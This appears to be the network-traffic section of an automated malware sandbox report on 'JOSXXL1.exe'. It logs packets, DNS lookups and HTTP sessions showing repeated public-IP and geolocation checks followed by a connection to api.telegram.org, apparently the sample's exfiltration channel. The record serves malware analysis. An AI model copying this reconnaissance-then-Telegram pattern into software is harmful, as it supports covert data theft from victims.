Oct 26, 2024 23:57:22.633534908 CEST	61919	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:22.638952017 CEST	80	61919	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:22.639051914 CEST	61919	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:22.639153004 CEST	61919	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:22.644499063 CEST	80	61919	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:22.650166988 CEST	80	61908	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:22.650252104 CEST	61908	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:23.311886072 CEST	80	61919	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:23.313390017 CEST	61922	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:23.313477039 CEST	443	61922	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:23.313555956 CEST	61922	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:23.313817978 CEST	61922	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:23.313847065 CEST	443	61922	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:23.355006933 CEST	61919	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:23.975445032 CEST	443	61922	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:23.977497101 CEST	61922	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:23.977574110 CEST	443	61922	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:24.129806995 CEST	443	61922	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:24.130027056 CEST	443	61922	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:24.130105972 CEST	61922	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:24.135037899 CEST	61922	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:24.141094923 CEST	61927	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:24.147233009 CEST	80	61927	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:24.147346973 CEST	61927	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:24.147428989 CEST	61927	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:24.152884007 CEST	80	61927	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:24.929389954 CEST	80	61927	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:24.940370083 CEST	61933	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:24.940392017 CEST	443	61933	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:24.940506935 CEST	61933	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:24.945127964 CEST	61933	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:24.945142031 CEST	443	61933	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:24.980027914 CEST	61927	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:25.559602022 CEST	443	61933	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:25.561312914 CEST	61933	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:25.561343908 CEST	443	61933	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:25.708434105 CEST	443	61933	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:25.708667040 CEST	443	61933	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:25.708726883 CEST	61933	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:25.709008932 CEST	61933	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:25.712125063 CEST	61927	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:25.713063955 CEST	61939	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:25.718053102 CEST	80	61927	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:25.718173027 CEST	61927	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:25.718482971 CEST	80	61939	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:25.718569994 CEST	61939	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:25.718627930 CEST	61939	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:25.724093914 CEST	80	61939	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:26.380525112 CEST	80	61939	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:26.381767035 CEST	61945	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:26.381846905 CEST	443	61945	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:26.381922007 CEST	61945	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:26.382162094 CEST	61945	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:26.382198095 CEST	443	61945	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:26.433161974 CEST	61939	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:26.995883942 CEST	443	61945	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:26.997277975 CEST	61945	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:26.997353077 CEST	443	61945	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:27.149044037 CEST	443	61945	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:27.149271965 CEST	443	61945	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:27.149353027 CEST	61945	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:27.149859905 CEST	61945	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:27.153095007 CEST	61939	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:27.153912067 CEST	61950	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:27.158881903 CEST	80	61939	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:27.158957958 CEST	61939	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:27.159301043 CEST	80	61950	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:27.159411907 CEST	61950	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:27.159492970 CEST	61950	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:27.164799929 CEST	80	61950	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:27.838432074 CEST	80	61950	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:27.851567030 CEST	61952	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:27.851648092 CEST	443	61952	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:27.851730108 CEST	61952	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:27.852133036 CEST	61952	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:27.852161884 CEST	443	61952	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:27.886320114 CEST	61950	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:28.477348089 CEST	443	61952	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:28.479371071 CEST	61952	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:28.479454994 CEST	443	61952	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:28.624186993 CEST	443	61952	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:28.624273062 CEST	443	61952	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:28.624464035 CEST	61952	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:28.624829054 CEST	61952	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:28.628776073 CEST	61950	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:28.629923105 CEST	61958	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:28.634670973 CEST	80	61950	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:28.634757042 CEST	61950	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:28.635410070 CEST	80	61958	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:28.635520935 CEST	61958	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:28.635612011 CEST	61958	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:28.641118050 CEST	80	61958	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:29.307995081 CEST	80	61958	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:29.309318066 CEST	61964	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:29.309370041 CEST	443	61964	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:29.309451103 CEST	61964	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:29.309699059 CEST	61964	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:29.309714079 CEST	443	61964	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:29.355020046 CEST	61958	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:29.933979034 CEST	443	61964	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:29.935372114 CEST	61964	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:29.935409069 CEST	443	61964	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:30.079467058 CEST	443	61964	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:30.079713106 CEST	443	61964	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:30.080168962 CEST	61964	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:30.080490112 CEST	61964	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:30.083367109 CEST	61958	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:30.089272022 CEST	80	61958	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:30.089380026 CEST	61958	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:30.092859030 CEST	61970	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:30.098309040 CEST	80	61970	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:30.098412037 CEST	61970	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:30.098470926 CEST	61970	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:30.104150057 CEST	80	61970	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:30.792260885 CEST	80	61970	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:30.793809891 CEST	61976	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:30.793889046 CEST	443	61976	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:30.793982983 CEST	61976	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:30.794181108 CEST	61976	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:30.794198990 CEST	443	61976	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:30.839623928 CEST	61970	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:31.407813072 CEST	443	61976	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:31.409615040 CEST	61976	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:31.409693003 CEST	443	61976	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:31.552814007 CEST	443	61976	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:31.553052902 CEST	443	61976	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:31.553133011 CEST	61976	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:31.553481102 CEST	61976	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:31.586294889 CEST	61970	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:31.593624115 CEST	80	61970	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:31.593687057 CEST	61970	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:31.598575115 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:31.598613977 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:31.598689079 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:31.598985910 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:31.599014044 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:32.473891973 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:32.473979950 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:32.475507021 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:32.475523949 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:32.475975037 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:32.477336884 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:32.523328066 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:32.724792957 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:32.724879980 CEST	443	61981	149.154.167.220	192.168.2.4
Oct 26, 2024 23:57:32.724968910 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:32.729470968 CEST	61981	443	192.168.2.4	149.154.167.220
Oct 26, 2024 23:57:38.719151020 CEST	61919	80	192.168.2.4	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 23:56:18.524009943 CEST	53	57789	1.1.1.1	192.168.2.4
Oct 26, 2024 23:57:10.401118040 CEST	60666	53	192.168.2.4	1.1.1.1
Oct 26, 2024 23:57:10.408746958 CEST	53	60666	1.1.1.1	192.168.2.4
Oct 26, 2024 23:57:11.775019884 CEST	64106	53	192.168.2.4	1.1.1.1
Oct 26, 2024 23:57:11.783696890 CEST	53	64106	1.1.1.1	192.168.2.4
Oct 26, 2024 23:57:17.668143034 CEST	51943	53	192.168.2.4	1.1.1.1
Oct 26, 2024 23:57:17.675543070 CEST	53	51943	1.1.1.1	192.168.2.4
Oct 26, 2024 23:57:18.856044054 CEST	59948	53	192.168.2.4	1.1.1.1
Oct 26, 2024 23:57:18.863738060 CEST	53	59948	1.1.1.1	192.168.2.4
Oct 26, 2024 23:57:30.083777905 CEST	49547	53	192.168.2.4	1.1.1.1
Oct 26, 2024 23:57:30.091801882 CEST	53	49547	1.1.1.1	192.168.2.4
Oct 26, 2024 23:57:31.586850882 CEST	52726	53	192.168.2.4	1.1.1.1
Oct 26, 2024 23:57:31.597981930 CEST	53	52726	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 23:57:10.401118040 CEST	192.168.2.4	1.1.1.1	0xa8c7	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:11.775019884 CEST	192.168.2.4	1.1.1.1	0x8e03	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:17.668143034 CEST	192.168.2.4	1.1.1.1	0xcb4d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:18.856044054 CEST	192.168.2.4	1.1.1.1	0xe470	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:30.083777905 CEST	192.168.2.4	1.1.1.1	0x8de0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:31.586850882 CEST	192.168.2.4	1.1.1.1	0xf94f	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 23:57:10.408746958 CEST	1.1.1.1	192.168.2.4	0xa8c7	No error (0)	drive.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:11.783696890 CEST	1.1.1.1	192.168.2.4	0x8e03	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:17.675543070 CEST	1.1.1.1	192.168.2.4	0xcb4d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 23:57:17.675543070 CEST	1.1.1.1	192.168.2.4	0xcb4d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:17.675543070 CEST	1.1.1.1	192.168.2.4	0xcb4d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:17.675543070 CEST	1.1.1.1	192.168.2.4	0xcb4d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:17.675543070 CEST	1.1.1.1	192.168.2.4	0xcb4d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:17.675543070 CEST	1.1.1.1	192.168.2.4	0xcb4d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:18.863738060 CEST	1.1.1.1	192.168.2.4	0xe470	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:18.863738060 CEST	1.1.1.1	192.168.2.4	0xe470	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:30.091801882 CEST	1.1.1.1	192.168.2.4	0x8de0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 23:57:30.091801882 CEST	1.1.1.1	192.168.2.4	0x8de0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:30.091801882 CEST	1.1.1.1	192.168.2.4	0x8de0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:30.091801882 CEST	1.1.1.1	192.168.2.4	0x8de0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:30.091801882 CEST	1.1.1.1	192.168.2.4	0x8de0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:30.091801882 CEST	1.1.1.1	192.168.2.4	0x8de0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:57:31.597981930 CEST	1.1.1.1	192.168.2.4	0xf94f	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	61886	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:17.687619925 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 26, 2024 23:57:18.357789993 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:18 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8f37fa3a8999698704edd3c5376de767 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Oct 26, 2024 23:57:18.363281012 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 26, 2024 23:57:18.523883104 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:18 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: caf0531f442086a2cbf6c6367a2c93c8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Oct 26, 2024 23:57:20.209976912 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 26, 2024 23:57:20.371098042 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:20 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b98f0aa4cab169088238d336be5cc52d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	61908	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:21.186281919 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 26, 2024 23:57:21.848947048 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:21 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 80a85bcace7f28602421dbe53bb7312a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	61919	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:22.639153004 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 26, 2024 23:57:23.311886072 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:23 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3771b7856e31be804c72bf989c764894 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	61927	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:24.147428989 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 26, 2024 23:57:24.929389954 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:24 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: daf86f86055975f57e58ea89aa4b0ebe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	61939	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:25.718627930 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 26, 2024 23:57:26.380525112 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e7450ed6ab6c6479b8473d41a51f385b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	61950	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:27.159492970 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 26, 2024 23:57:27.838432074 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:27 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e26ca40bd8a5ae27d24e236f222ca039 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	61958	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:28.635612011 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
